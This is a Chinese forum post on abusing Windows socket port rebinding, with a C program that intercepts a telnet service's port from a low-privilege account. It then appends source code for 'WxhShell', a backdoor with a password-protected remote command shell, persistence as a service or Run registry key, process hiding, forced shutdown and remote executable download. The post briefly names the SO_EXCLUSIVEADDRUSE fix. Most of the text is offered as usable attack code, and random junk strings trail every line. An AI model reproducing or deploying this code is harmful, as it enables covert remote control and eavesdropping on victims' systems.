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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <S I& e/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qp (ng 8%c  
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  saddr.sin_family = AF_INET; iOz<n z  
yo*c& >  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [z#C&gDt  
vr5 6 f1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JG&`l{c9  
oZ95)'L,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 opTDW)  
OQ"%(w>Hb  
  这意味着什么?意味着可以进行如下的攻击: B;t U+36nM  
Cd)e_&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1L1_x'tT%  
FrD.{(/~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f 'aQ T  
RP'`\| |*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u%?u`n2'  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8;9GM^L  
Knsb`1"E^6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b9%}< w  
Pm; /Ua  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O @fX +W?U  
,GEMc a,`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j-|YE?AA  
GXB4&Q!C  
  #include L(Q v78F  
  #include r4caIV  
  #include d{+ H|$L`  
  #include    .CFaBwj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p#~' xq  
  int main() eCdx(4(\a  
  { mLX1w)=r  
  WORD wVersionRequested; fVv#|   
  DWORD ret; }CZ,WJz=  
  WSADATA wsaData; UN_f2  
  BOOL val; <b"ynoM.A  
  SOCKADDR_IN saddr; P;0tI;  
  SOCKADDR_IN scaddr; 1) V,>)Ak  
  int err; Y'"2s~_ Z  
  SOCKET s; h-hU=I8  
  SOCKET sc; =MO2M~e!  
  int caddsize; FV^CSaN[R  
  HANDLE mt; J411bIxD+q  
  DWORD tid;   o+{}O_r  
  wVersionRequested = MAKEWORD( 2, 2 ); ?cdSZ'49[  
  err = WSAStartup( wVersionRequested, &wsaData ); ep<Ad  
  if ( err != 0 ) { {LTb-CB  
  printf("error!WSAStartup failed!\n"); Y9~;6fg  
  return -1; k9UmTvX  
  } [9UKVnX.V  
  saddr.sin_family = AF_INET; %lNWaA  
   xG0IA 7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w=\Lw+X  
VA.jt}YGE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z:aDKAboU  
  saddr.sin_port = htons(23); nMc3.fM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mh'QD)28c  
  { wqBGJ   
  printf("error!socket failed!\n"); ie^:PcU  
  return -1; 1Lwi?~!LI  
  } C3-l(N1O{  
  val = TRUE; 0X+Jj/-ge  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f]"][!e!,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oQ~Q?o]Ri  
  { ,R0@`t1 p  
  printf("error!setsockopt failed!\n"); 8h9t8?  
  return -1; a*&P>Lwe7&  
  } #G{}Rd|!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gVCkj!{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0TU~Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 udB:ys  
#/sKb2eQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u,[Yaw"L  
  { )/2* <jr  
  ret=GetLastError(); jo=XxA  
  printf("error!bind failed!\n"); AC,$(E  
  return -1; 4?M= ?K0  
  } O; EI&  
  listen(s,2); YD2M<.U  
  while(1) //KTEAYyy#  
  { 7>xxur&  
  caddsize = sizeof(scaddr); N'Va&"&73>  
  //接受连接请求 ,^O**k9F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `m<l8'g  
  if(sc!=INVALID_SOCKET) },0fPkVsU  
  { ]g3&gw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UV)[a%/SB&  
  if(mt==NULL) : QSlctW  
  { CZE5RzG  
  printf("Thread Creat Failed!\n"); t)g1ICt  
  break; Zb-TCS+3l  
  } &9PzBc  
  } xuO5|{h  
  CloseHandle(mt); oLk>|J  
  } a}`4BMi3  
  closesocket(s); UY j  
  WSACleanup(); JI )+  
  return 0; 1 Y@6oT  
  }   gj\r>~S  
  DWORD WINAPI ClientThread(LPVOID lpParam) :Y y+%  
  { al=Dy60|z  
  SOCKET ss = (SOCKET)lpParam; bj(U?$  
  SOCKET sc; kxoJL6IC  
  unsigned char buf[4096]; O(,Ezy x  
  SOCKADDR_IN saddr; 9?gLi!rd  
  long num; m\U@L+L  
  DWORD val; /MsXw/],  
  DWORD ret; ~^" cNv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;E:ra_l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2|tZ xlt-  
  saddr.sin_family = AF_INET; n?&G>`u*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rg<y8~|'}  
  saddr.sin_port = htons(23); A)040n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e+bpbyV_#  
  { dTyTj|"x{  
  printf("error!socket failed!\n"); (rt DT  
  return -1; ;M8N%  
  } ]jG%<j9A  
  val = 100; W5$jIQ}Bw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Po&gr@e.V  
  { $J[h(>-X  
  ret = GetLastError(); &of%;>$>M  
  return -1; Mp?Ev.  
  } p}uL%:Vr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t?28s/?  
  { u)&6;A4  
  ret = GetLastError(); 5'\/gvxIC  
  return -1; v;el= D  
  } INW8Q`[F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CY)Wuv ^  
  { ~t<BZu  
  printf("error!socket connect failed!\n"); ;W?e@ Lgxk  
  closesocket(sc); 2{"Wa|o`  
  closesocket(ss); 8l>/ZZ.NXi  
  return -1; L GK0V!W  
  } g Gg8O? Z  
  while(1) %&Z!-k(  
  { y_qFXd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U?>P6p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !-x^b.${B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #PoUCRRC  
  num = recv(ss,buf,4096,0); `*9W{|~Gwx  
  if(num>0) qOZe\<.V<  
  send(sc,buf,num,0); '68{dyFZL  
  else if(num==0) %whPTc0P  
  break; 5 LhFD  
  num = recv(sc,buf,4096,0); ub}t3#  
  if(num>0) ^ft_1d[  
  send(ss,buf,num,0); U;OJ.a9  
  else if(num==0) 2 'xT%  
  break; p4<&NMG  
  } )oG_x{  
  closesocket(ss); yXc/Nl%  
  closesocket(sc); :2 ?dl:l  
  return 0 ; M^mS#<!y  
  } oQ8W0`bZa  
@`$8rck`  
Eo)Q> AM  
========================================================== dy, ,x  
qQ/j+  
下边附上一个代码,,WXhSHELL $>OWGueq64  
W: cOzJ  
========================================================== zjM+F{P8  
.2!'6;K  
#include "stdafx.h" $oq&uL  
#p*{p)]HiA  
#include <stdio.h> p[hA?dXn  
#include <string.h> H1 n`A#6?  
#include <windows.h> MCe =RR  
#include <winsock2.h> "^zxq5u  
#include <winsvc.h> Z)|*mJ  
#include <urlmon.h> P et0yH  
_4owxYSDke  
#pragma comment (lib, "Ws2_32.lib") >LFhu6T  
#pragma comment (lib, "urlmon.lib") bCdEItcD  
fph*|T&R  
#define MAX_USER   100 // 最大客户端连接数 epW;]> l  
#define BUF_SOCK   200 // sock buffer -2K`:}\y&  
#define KEY_BUFF   255 // 输入 buffer 4tCyd5u a8  
A 99 .b  
#define REBOOT     0   // 重启 e {N8|l  
#define SHUTDOWN   1   // 关机 _&.CI6  
8> T '  
#define DEF_PORT   5000 // 监听端口 0kQAT #  
N02N w(pi  
#define REG_LEN     16   // 注册表键长度 Q6RBZucv  
#define SVC_LEN     80   // NT服务名长度 kE UfQLbn  
Goz9"yazg  
// 从dll定义API #J, `a.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JdfjOlEb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9W 5vp:G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E{_p&FF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jv5p_v4%O  
u(\b1h n  
// wxhshell配置信息 +<Uc42i7n  
struct WSCFG { . ?[2,4F;  
  int ws_port;         // 监听端口 ^B1Q";# B^  
  char ws_passstr[REG_LEN]; // 口令 B<H5WI  
  int ws_autoins;       // 安装标记, 1=yes 0=no }a'8lwF%I  
  char ws_regname[REG_LEN]; // 注册表键名 wP+wA}SN  
  char ws_svcname[REG_LEN]; // 服务名 BB|w-W=Kd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 + 3aAL&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H^B/ '#mO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hoO8s#0ED  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }PK8[N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i 0L)hkV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g(,gg1mG  
ljlQ9wb[s  
}; Cc]t*;nU_  
55zimv&DV  
// default Wxhshell configuration o D*h@yL  
struct WSCFG wscfg={DEF_PORT, km}%7|R?  
    "xuhuanlingzhe", +smPR  
    1, {&4+W=0 n  
    "Wxhshell", ZxwI< T:&  
    "Wxhshell", +'N?`l6<  
            "WxhShell Service", Z81]>  
    "Wrsky Windows CmdShell Service", 4@4$kro  
    "Please Input Your Password: ", :jT1=PfL  
  1, U9y[b82  
  "http://www.wrsky.com/wxhshell.exe", L V?- g  
  "Wxhshell.exe" DdN{=}A  
    }; 0%cbno@1V  
`CUTb*{`  
// 消息定义模块 }RO Cj,|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [_^K}\/+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3*/y<Z'H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (m|p|rL  
char *msg_ws_ext="\n\rExit."; "/(J*)%{  
char *msg_ws_end="\n\rQuit."; ss-{l+Z5  
char *msg_ws_boot="\n\rReboot..."; "/S-+Ufn  
char *msg_ws_poff="\n\rShutdown..."; V[(zRGa{  
char *msg_ws_down="\n\rSave to "; (caxl^=  
ido'<;4>  
char *msg_ws_err="\n\rErr!"; ?N~rms e  
char *msg_ws_ok="\n\rOK!"; ~Ub '5M  
jRm v~]  
char ExeFile[MAX_PATH]; !eMz;GZ  
int nUser = 0; q#xoM1  
HANDLE handles[MAX_USER]; GASDkVoij  
int OsIsNt; >j4;{r+eQw  
fx_7X15  
SERVICE_STATUS       serviceStatus; VEkv JX.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _<+!  
G yvEc3|@  
// 函数声明 2!QJa=  
int Install(void); ]L"jt8E  
int Uninstall(void); Xat>d>nJ]  
int DownloadFile(char *sURL, SOCKET wsh); &_x:+{06  
int Boot(int flag); ^{T]sv  
void HideProc(void); }:])1!a  
int GetOsVer(void); ;/XWX$G@  
int Wxhshell(SOCKET wsl); Q;*TnVbJ  
void TalkWithClient(void *cs); S4n\<+dR<  
int CmdShell(SOCKET sock); `%ZM(9T  
int StartFromService(void); {dH87 nt  
int StartWxhshell(LPSTR lpCmdLine); u<!8dQ8  
J2f}{!b+I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9f\Lon4lX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _U?   
'P0:1">  
// 数据结构和表定义 `WboM\u  
SERVICE_TABLE_ENTRY DispatchTable[] = mp*&{[XoVC  
{ Q_$aiE  
{wscfg.ws_svcname, NTServiceMain}, H{x'I@+  
{NULL, NULL} j_H9l,V  
}; )>QpR8 G-  
>=G;rs  
// 自我安装 tda#9i[pkH  
int Install(void) -,)&?S  
{ `aD~\O  
  char svExeFile[MAX_PATH]; &xo_93  
  HKEY key; $nUhM|It  
  strcpy(svExeFile,ExeFile); 5/F1|N4  
@SjISZw_  
// 如果是win9x系统,修改注册表设为自启动 &G\Vn,1v  
if(!OsIsNt) { s!:'3[7+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Ypt /`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A(V,qw8  
  RegCloseKey(key); M+j V`J!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V^;2u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Nrb}LH  
  RegCloseKey(key); JfGU3d*c  
  return 0; -GJ~xcf0  
    } 1YV ;pEw3w  
  } 0/5 a3-3{  
} ++w7jVi9  
else { A=JPmsj.  
{$-lXw4  
// 如果是NT以上系统,安装为系统服务 Hb55RilC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D_]4]&QYT  
if (schSCManager!=0) -N $4\yp  
{ & Xm !i(i  
  SC_HANDLE schService = CreateService <'N"GLJ  
  ( mE=%+:o.  
  schSCManager, mhVdsa  
  wscfg.ws_svcname, [1nfSW  
  wscfg.ws_svcdisp, o-a\T  
  SERVICE_ALL_ACCESS, d0``:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8JYU1E w  
  SERVICE_AUTO_START, :d}I`)&  
  SERVICE_ERROR_NORMAL, \e+h">`WgX  
  svExeFile,  UCV1{  
  NULL, !0!m |^c5  
  NULL, GVR/p  
  NULL, 3V=wW{;x  
  NULL, >!sxX = <  
  NULL iga.B  
  ); ~ES6Qw`Oe  
  if (schService!=0) $$F iCMI  
  { e0;0X7  
  CloseServiceHandle(schService); GB,f'Afl  
  CloseServiceHandle(schSCManager); ;O8'vp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O/Cwm;&t  
  strcat(svExeFile,wscfg.ws_svcname); CoZOKRoaH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o]/*YaB2>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >n$V1U&/  
  RegCloseKey(key); ^x2zMB\t  
  return 0; NH9"89]E  
    } " b3-'/ &  
  } WN#S%G:Q)  
  CloseServiceHandle(schSCManager); $0 ]xeD0X  
} 8uAA6h+  
} .JCd:'-  
L7\V^f%yCm  
return 1; FxU a5 n  
} Fi)(~ji:  
RK )1@Tz7!  
// 自我卸载 jKr\mb  
int Uninstall(void) P^[eTR*?  
{ T,@s.v  
  HKEY key; *I]/ [d  
Xna58KF/  
if(!OsIsNt) { g$f+X~Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BK 3oNDy  
  RegDeleteValue(key,wscfg.ws_regname); .w,$ TezGP  
  RegCloseKey(key); w3Lr~_j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {,aX|*1Ku~  
  RegDeleteValue(key,wscfg.ws_regname); ~(*2 :9*0  
  RegCloseKey(key); EDAtC  
  return 0; Op()`x m  
  } ?}g^/g !  
} q7z`oK5  
} :3b.`s(M  
else { cY mgJBG  
Th_PmkvC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (vP<}  
if (schSCManager!=0) 2$r8^}Nj?  
{ }TQa<;Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |P0!dt7sQ  
  if (schService!=0) 0\zY?UUww  
  { )DB\du   
  if(DeleteService(schService)!=0) { BTc }Kfae  
  CloseServiceHandle(schService); Oh# z zo  
  CloseServiceHandle(schSCManager); |xawguJ  
  return 0; :A7\eN5  
  } dJv2tVm&'  
  CloseServiceHandle(schService); ,>!%KYD/f  
  } I'`90{I  
  CloseServiceHandle(schSCManager); fHK.q({Qc  
} 9U>OeTh(  
} ; DXsPpZC  
^'\JI  
return 1; @yM$Et5  
} igx~6G*  
C19}Y4r:  
// 从指定url下载文件 p0rmcP1Ln  
int DownloadFile(char *sURL, SOCKET wsh)  LXoZ.3S  
{ "7q!u,u  
  HRESULT hr; P{,A%t  
char seps[]= "/"; ui RO,B}z  
char *token; .8wf {y  
char *file; ee/3=/H|;  
char myURL[MAX_PATH]; `^ZhxFX  
char myFILE[MAX_PATH]; Gg e X  
9;7Gzr6A"  
strcpy(myURL,sURL); O!!N@Q2g  
  token=strtok(myURL,seps); j*\oK@  
  while(token!=NULL) 40%fOu,u`  
  { qxB|*P `  
    file=token; gLm,;'h%u  
  token=strtok(NULL,seps); x8w l  
  } 2##;[  
*8r^!(Kj  
GetCurrentDirectory(MAX_PATH,myFILE); f$76p!pDa  
strcat(myFILE, "\\"); 577#A,O  
strcat(myFILE, file); 3n,jrX75u  
  send(wsh,myFILE,strlen(myFILE),0); cO$xT;kK  
send(wsh,"...",3,0); |k$6"dXSO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3xk_ZK82  
  if(hr==S_OK) "1$X5?%  
return 0; J}NMF#w/;  
else e"y-A&|  
return 1; >?O?U=:<  
IClw3^\l  
} !YPwql(  
7Kf  
// 系统电源模块 jW]"Um-]  
int Boot(int flag) >AFQm  
{ <Drm#2x!E  
  HANDLE hToken; I cASzSjYX  
  TOKEN_PRIVILEGES tkp; m%0_fNSJ  
N a$.VT  
  if(OsIsNt) { =r4sF!g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ZC]|s[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NH;e|8  
    tkp.PrivilegeCount = 1; f&j\gYWq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A9lw^.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eC"k-a8j+  
if(flag==REBOOT) { up{0ehr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) denxcDFu/~  
  return 0; {#st>%i  
} jzJQ/ZFS  
else { Gphy8~eS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n }b{u@$  
  return 0; ^k*%`iQ  
} [>N#61CV 5  
  } 0SU v5c  
  else { 6cd!;Ca  
if(flag==REBOOT) { g$ HL::  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) No"i6R+  
  return 0; ul3~!9F5F  
} Td ade+  
else {  )ut$644R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ni8%K6]z  
  return 0; (/At+MF3E  
} XD?Lu _.  
} 9N `WT=  
X!:J1'FE  
return 1; V:#rY5X  
} gg.]\#3g  
oP`:NCj\9  
// win9x进程隐藏模块 z . Z  
void HideProc(void) Mq#m;v$E  
{ 43E)ltR=]  
9Nps<+K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1.M<u)1GU  
  if ( hKernel != NULL ) 5kGQf  
  { w[F})u]E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (a0(ZOKH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mk~U/oq  
    FreeLibrary(hKernel); e]nP7TIU  
  } T ay226  
zJP jsD]  
return; ? V1ik[  
} HU'w[r 6a  
$@@ii+W}\  
// 获取操作系统版本 :-O$rm  
int GetOsVer(void) |fywqQFq  
{ bfpeK>T  
  OSVERSIONINFO winfo; 3b\s;!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]?)uYot  
  GetVersionEx(&winfo); k;jl3GV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yKuZJXGVo  
  return 1; '$Z@oCY#  
  else 2<9K}Of  
  return 0; }-sh  
} SOE-Kio=B  
=xDxX#3  
// 客户端句柄模块 Lc?"4  
int Wxhshell(SOCKET wsl) g%tUkM  
{ VQ,5&-9Y3  
  SOCKET wsh; 1TX3/]:  
  struct sockaddr_in client; )^BZ,e  
  DWORD myID; f,i2U|1pbj  
FAL#p$y}  
  while(nUser<MAX_USER) 2*^=)5Gj-h  
{ |JR`" nF`  
  int nSize=sizeof(client); ZV:df 6S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~"0{<mMcX  
  if(wsh==INVALID_SOCKET) return 1; .?rs5[th*  
b+q'xnA=>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *^Zt)U1$|  
if(handles[nUser]==0) Kp*3:XK  
  closesocket(wsh); NC!B-3?x  
else ,"5HJA4  
  nUser++; T[^&ZS]s  
  } EcX7wrl9x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 34X]b[^  
jygUf|  
  return 0; EZ{{p+e ^  
} [TQYu:e  
[L7s(Zs>  
// 关闭 socket tK[o"?2y  
void CloseIt(SOCKET wsh) %,1TAmJfHa  
{ PY C  
closesocket(wsh); )Nx*T9!Q  
nUser--; wh8;:<|  
ExitThread(0); QnOs8%HS-  
} ZQym8iV/  
ViyG%Sm  
// 客户端请求句柄 |=v,^uo  
void TalkWithClient(void *cs) %]Nm'"Y`U  
{ (^W :f{  
;hODzfNkS  
  SOCKET wsh=(SOCKET)cs; P`O`Mw EAf  
  char pwd[SVC_LEN]; ygV_"=+|N  
  char cmd[KEY_BUFF]; pGD-K41O]  
char chr[1]; $[b}r#P  
int i,j; 43y@9P0  
+zbCYA  
  while (nUser < MAX_USER) { :R +BC2x  
n7B2rRJH  
if(wscfg.ws_passstr) { -(e=S^36  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^wc:qll  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @=P c{xp  
  //ZeroMemory(pwd,KEY_BUFF); v FQ]>n X  
      i=0; .SmG)5U]  
  while(i<SVC_LEN) { so1  
sN-u?EiF8  
  // 设置超时 KPDJ$,:  
  fd_set FdRead; {`k&Q +gY  
  struct timeval TimeOut; w8~R=k  
  FD_ZERO(&FdRead); (=WbLNBS  
  FD_SET(wsh,&FdRead); olr#3te  
  TimeOut.tv_sec=8; N.+A-[7,W  
  TimeOut.tv_usec=0; 5#x[rr{^*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9>0OpgvC(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nu:l;+,VY  
Sh5)36  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5T~dGRlR  
  pwd=chr[0]; Yc?S<  
  if(chr[0]==0xd || chr[0]==0xa) { j~S=kYrGM  
  pwd=0; g"Hl 30o  
  break; 3?<A]"X.  
  } 1c @S[y  
  i++; h4itXJy52B  
    } 5(\/ b<#  
7)1%Z{Dy  
  // 如果是非法用户,关闭 socket ]b>XN8y.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g18zo~LZ  
} Nxl#]  
:-U& _%#w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =bP<cC=3b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,SIGfd  
|:4W5>sfg  
while(1) { (pM& eow}  
^fsC]9NS  
  ZeroMemory(cmd,KEY_BUFF); _g9j_ x:=  
ZU0*iA  
      // 自动支持客户端 telnet标准   z79oj\&[  
  j=0; G9xO>Xp^Al  
  while(j<KEY_BUFF) { 6 <`e]PT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,4XOe,WQ  
  cmd[j]=chr[0]; ,Xn %0]  
  if(chr[0]==0xa || chr[0]==0xd) { p ^TCr<=  
  cmd[j]=0; ^~TE$i<   
  break; ar 7.O;e  
  } kREFh4QO,  
  j++; \(=xc2  
    } v9,cL.0&  
|;(P+Q4lB  
  // 下载文件 IO7gq+  
  if(strstr(cmd,"http://")) { A /c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /E{tNd^S  
  if(DownloadFile(cmd,wsh)) -Jv3D$f]a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "".a(ZGg  
  else pZ[|Q2(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 l= EL7  
  } .}eM"Kv  
  else { |{-?OOKj  
^x/D8 M  
    switch(cmd[0]) { })kx#_o]'d  
  x[)]u8^A  
  // 帮助 3}3b@:<  
  case '?': { ;gu4~LQw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |9.J?YP8 (  
    break; H/Ql  
  }  Y%y  
  // 安装 B<Cg_C  
  case 'i': { 2'OY,Ooe  
    if(Install()) (E,[Ad,$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Unq~lt%2  
    else nFI<Te^)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :kE*  
    break; (M u;U!M"P  
    } Hi$N"16A5z  
  // 卸载 3m4 sh~  
  case 'r': { n"}*C|(k  
    if(Uninstall()) bUM4^m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5A 5t  
    else "+`u ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Y5 :{Kj  
    break; J{kS4v*J  
    } c05-1  
  // 显示 wxhshell 所在路径 _*{Lha  
  case 'p': { `D=d!!1eUi  
    char svExeFile[MAX_PATH]; 2u5\tp?8  
    strcpy(svExeFile,"\n\r"); L:?Ew9Lf  
      strcat(svExeFile,ExeFile); E;'{qp  
        send(wsh,svExeFile,strlen(svExeFile),0); *}Gys/\!S  
    break; rK}sQ4z=  
    } kD1Nq~h2  
  // 重启 1=9GV+`n  
  case 'b': { )a'`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0 "TPY(n  
    if(Boot(REBOOT)) 'Ox "YE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZFH-srs{  
    else { *wd=&Z^19  
    closesocket(wsh); L *|P'  
    ExitThread(0); }.WO=IZ  
    } [ybK  
    break; o /1+ }f  
    } TXV^f*  
  // 关机 aMkuyqPf{  
  case 'd': { \UM&|yk:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8:*ZuR|~  
    if(Boot(SHUTDOWN)) ;l0%yg/}  
